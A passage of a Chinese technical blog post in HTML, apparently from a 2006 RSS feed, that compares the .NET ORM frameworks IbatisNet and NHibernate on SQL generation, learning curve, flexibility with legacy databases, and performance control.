						<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> “</span>
						<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">O/R</span>
						<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> ”而言，</span>
						<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">IbatisNet</span>
						<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 是一种“</span>
						<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">Sql Mapping</span>
				</strong>
				<strong>
						<span> ”的ORM实现。<br /></span>
						<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">NHibernate</span>
						<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 对数据库结构提供了较为完整的封装，</span>
						<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">NHibernate</span>
						<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 的</span>
						<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">O/R Mapping</span>
						<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 实现了</span>
						<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">PO</span>
						<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">和数据库表之间的映射，以及</span>
						<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">SQL</span>
						<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的自动生成和执行。程序员往往只需定义好了</span>
						<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">PO</span>
						<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">到数据库表的映射关系，即可通过</span>
						<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">NHibernate</span>
						<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 提供的方法完成持久层操作。程序员甚至不需要对</span>
						<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">SQL</span>
						<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的熟练掌握，</span>
						<span style="COLOR: #333333">
								<span lang="EN-US" xml:lang="EN-US">NHibernate</span>
						</span>
						<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">会根据制定的存储逻辑，自动生成对应的</span>
						<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">SQL</span>
						<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">并调用</span>
				</strong>
				<strong>
						<span>ADO.NET接口加以执行。 <br /></span>
						<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">而</span>
						<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">IbatisNet</span>
						<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 的着力点，则在于</span>
						<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">PO</span>
						<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">与</span>
						<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">SQL</span>
						<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 之间的映射关系。也就是说，</span>
						<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">IbatisNet</span>
						<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 并不会为程序员在运行期自动生成</span>
						<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">SQL</span>
						<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">执行。具体的</span>
						<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">SQL</span>
						<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">需要程序员编写，然后通过映射配置文件，将</span>
						<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">SQL</span>
				</strong>
				<strong>
						<span> 所需的参数，以及返回的结果字段映射到指定PO。<br /></span>
						<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">使用</span>
						<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">IbatisNet</span>
						<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 提供的</span>
						<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">ORM</span>
						<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 机制，对业务逻辑实现人员而言，面对的是纯粹的</span>
						<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">DotNet</span>
						<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 对象，这一层与通过</span>
						<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">NHibernate</span>
						<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 实现</span>
						<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">ORM</span>
						<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">而言基本一致，而对于具体的数据操作，</span>
						<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">NHibernate</span>
						<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 会自动生成</span>
						<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">SQL</span>
						<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">语句，而</span>
						<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">IbatisNet</span>
						<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 则要求开发者编写具体的</span>
						<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">SQL</span>
						<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">语句。相对</span>
						<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">NHibernate</span>
						<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 而言，</span>
						<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">IbatisNet</span>
						<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">以</span>
						<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">SQL</span>
						<span>开发的工作量和数据库移植性上的让步，为系统设计提供了更大的自由空间。 </span>
				</strong>
		</h2>
		<div class="postTitle"> </div>
		<div class="postTitle">
				<strong>
						<span>
								<span style="FONT-SIZE: 18pt; COLOR: #333333; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">二者的对比：</span>
						</span>
				</strong>
				<strong>
						<span>
								<span style="FONT-SIZE: 18pt; COLOR: #333333; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">
										<br />
								</span>
						</span>
				</strong>
		</div>
		<div class="postTitle">
				<strong>
						<span>
								<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">1</span>
								<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> ．</span>
								<span lang="EN-US" style="FONT-SIZE: 7pt; COLOR: #333333" xml:lang="EN-US"> </span>
								<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">IbatisNet</span>
								<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 非常简单易学，</span>
								<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">NHibernate</span>
								<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 相对较复杂，门槛较高。<br /></span>
								<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">2</span>
								<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> ．</span>
								<span lang="EN-US" style="FONT-SIZE: 7pt; COLOR: #333333" xml:lang="EN-US"> </span>
								<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">二者都是比较优秀的开源产品<br /></span>
								<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">3</span>
								<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> ．</span>
								<span lang="EN-US" style="FONT-SIZE: 7pt; COLOR: #333333" xml:lang="EN-US"> </span>
								<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">当系统属于二次开发</span>
								<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">,</span>
								<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 无法对数据库结构做到控制和修改</span>
								<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">,</span>
								<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 那</span>
								<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">IbatisNet</span>
								<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 的灵活性将比</span>
								<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">NHibernate</span>
								<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 更适合<br /></span>
								<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">4</span>
								<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> ．</span>
								<span lang="EN-US" style="FONT-SIZE: 7pt; COLOR: #333333" xml:lang="EN-US"> </span>
								<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">系统数据处理量巨大，性能要求极为苛刻，这往往意味着我们必须通过经过高度优化的</span>
								<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">SQL</span>
								<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 语句（或存储过程）才能达到系统性能设计指标。在这种情况下</span>
								<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">IbatisNet</span>
								<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 会有更好的可控性和表现。<br /></span>
								<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">5</span>
								<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> ．</span>
								<span lang="EN-US" style="FONT-SIZE: 7pt; COLOR: #333333" xml:lang="EN-US"> </span>
								<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">IbatisNet</span>
								<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 需要手写</span>
								<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">sql</span>
								<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 语句，也可以生成一部分，</span>
								<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">NHibernate</span>
								<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 则基本上可以自动生成，偶尔会写一些</span>
								<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">Hql</span>
								<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 。同样的需求</span>
								<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">,IbatisNet</span>
								<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 的工作量比</span>
								<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">NHibernate</span>
								<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 要大很多。类似的，如果涉及到数据库字段的修改，</span>
								<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">NHibernate</span>
								<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 修改的地方很少，而</span>
								<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">IbatisNet</span>
								<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 要把那些</span>
								<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">sql mapping</span>
								<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 的地方一一修改。<br /></span>
								<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">6</span>
								<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> ．</span>
								<span lang="EN-US" style="FONT-SIZE: 7pt; COLOR: #333333" xml:lang="EN-US"> </span>
								<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">以数据库字段一一对应映射得到的</span>
								<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">PO</span>
								<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 和N</span>
								<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">Hibernte</span>
								<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 这种对象化映射得到的</span>
								<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">PO</span>
								<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 是截然不同的，本质区别在于这种</span>
								<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">PO</span>
								<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 是扁平化的，不像</span>
								<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">NHibernate</span>
								<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 映射的</span>
								<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">PO</span>
								<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 是可以表达立体的对象继承，聚合等等关系的，这将会直接影响到你的整个软件系统的设计思路。<br /></span>
								<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">7</span>
								<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> ．</span>
								<span lang="EN-US" style="FONT-SIZE: 7pt; COLOR: #333333" xml:lang="EN-US"> </span>
								<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">最关键的一句话是</span>
								<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">IbatisNet</span>
								<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 的作者说的：<br /></span>
								<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">If you are starting a new project and you're in full control of your object model and database design, NHibernate is a good choice of O/R tool.<br /></span>
								<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">If you are accessing any 3rd party databases (e.g. vendor supplied), or you're working with a legacy database, or even just a really poorly designed database, then an O/R mapper might not be capable of handling the situation. That's were an SQL Mapper comes in handy</span>
						</span>
				</strong>
		</div>
<img src ="http://www.cnitblog.com/eastperson/aggbug/13215.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/eastperson/" target="_blank">东人EP</a> 2006-07-04 10:17 <a href="http://www.cnitblog.com/eastperson/archive/2006/07/04/13215.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>